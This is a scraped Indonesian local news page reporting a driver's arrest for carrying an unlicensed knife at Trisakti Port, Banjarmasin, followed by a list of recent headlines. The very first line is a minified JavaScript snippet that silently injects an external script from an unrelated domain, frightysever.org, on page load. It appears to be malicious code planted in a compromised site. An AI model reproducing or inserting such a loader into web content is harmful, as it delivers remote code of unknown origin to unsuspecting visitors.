(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Banjarmasin

Bawa Sajam di Pelabuhan Trisakti, Sopir Asal Kotim Diamankan Polisi


KANALKALIMANTAN.COM, BANJARMASIN – Seorang sopir HA alias DA (35) warga Kotawaringin Timur (Kotim), Provinsi Kalimantan Tengah (Kalteng) harus berhadapan dengan hukum karena kedapatan membawa senjata tajam (Sajam) di Pelabuhan Trisakti Banjarmasin.

HA diamankan petugas Polsek Kawasan Pelabuhan dan Laut (KPL) Banjarmasin karena membawa senjata penikam atau penusuk tanpa dilengkapi dengan surat izin.

Kapolsek KPL Banjarmasin Kompol Aryansyah mengatakan, pada Rabu (8/2/2023) sekitar pukul sembilan pagi pihaknya saat itu sedang melaksanakan kegiatan operasi pekat oleh anggota gabungan Polsek KPL Kanit Reskrim Polsek KPL, Iptu Bagus Syahid F.

“Personel gabungan mendapati pelaku HA itu akan masuk ke dalam truk yang dikemudikannya, tepatnya di depan pintu parkir sepeda motor terminal multipurpose Pelabuhan Trisakti,” katanya, Kamis (9/2/2023) siang.

 

Baca juga: Ditinggal Istri, Lelaki di Lamandau Coba Bunuh Diri

Saat dilakukan pemeriksaan dan penggeledahan badan HA, ditemukan senjata tajam penusuk atau senjata penikam jenis pisau. Sajam itu berganggang warna hitam dan kumpang dilakban warna hitam dengan panjang 18 cm.

Senjata tajam penusuk tersebut disimpan pelaku di dalam tasnya warna coklat merk Eiger, hingga kemudian diamankan oleh personel Polsek KPL Banjarmasin.

“Ketika ditanyakan pelaku membenarkan kalau senjata penusuk atau penikam jenis pisau tersebut diakui miliknya, kemudian HA dan barang bukti diamankan ke Mako Poslek KPL Banjarmasin untuk diperiksa lebih lanjut,” katanya.

Hasil pemeriksaan penyidik Unit Reskrim Polsek KPL, HA yang kedapatan membawa sajam tanpa izin dari pihak berwenang dapat dikenakan Pasal sebagaimana dalam sangkaan pasal 2 ayat (1) Undang-Undang Darurat Nomor 12 Tahun 1951 dengan ancaman hukuman 10 tahun penjara.

Atas penangkapan tersebut, Kapolsek KPL Banjarmasin mengimbau kepada seluruh masyarakat agar tidak membawa senjata tajam tanpa ada izin.

“Jadilah masyarakat yang selalu taat dan patuh hukum, sehingga tercipta keamanan dan ketertiban masyarakat khususnya di wilayah Pelabuhan Trisakti Banjarmasin,” tutupnya. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Al Ghifari

Recent Posts

Pemkab Banjar Raih Penghargaan dari MenPANRB

KANALKALIMANTAN.COM, JAKARTA – Keberhasilan Pemerintah Kabupaten Banjar dalam upaya mewujudkan tata kelola pemerintahan yang bersih… Read More

8 menit ago

ASN Bisa WFA dan Cuti Bersama hingga Dua Minggu, Begini Skemanya

KANALKALIMANTAN.COM, JAKARTA - Pemerintah menyiapkan kebijakan strategis bagi ASN dalam menghadapi lonjakan mobilitas masyarakat pada… Read More

8 jam ago

KPw BI Kalsel Menggelar Capacity Building Jurnalis 2026

KANALKALIMANTAN.COM, BATULICIN – Kantor Perwakilan (KPw) Bank Indonesia (BI) Provinsi Kalimantan Selatan menggelar acara Capacity… Read More

10 jam ago

‎Gubernur Kalsel Kunjungi Warga Desa Pondok Bababaris

‎KANALKALIMANTAN.COM, AMUNTAI – Gubernur Kalimantan Selatan H Muhidin meninjau langsung warga terdampak banjir di Desa… Read More

11 jam ago

Dari Rakor Bulanan: 1.398 Pegawai Non ASN Digaji APBD, Alarm Banjarbaru Menjadi “Kota Kotor”

KANALKALIMANTAN.COM, BANJARBARU – Pegawai Non Aparatur Sipil Negara (ASN) menjadi perhatian Pemerintah Kota (Pemko) Banjarbaru… Read More

22 jam ago

Naik Motor Trail, Bupati Kapuas Tinjau Jalan di Kecamatan Selat

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menggunakan sepeda motor trail meninjau sejumlah… Read More

22 jam ago

This website uses cookies.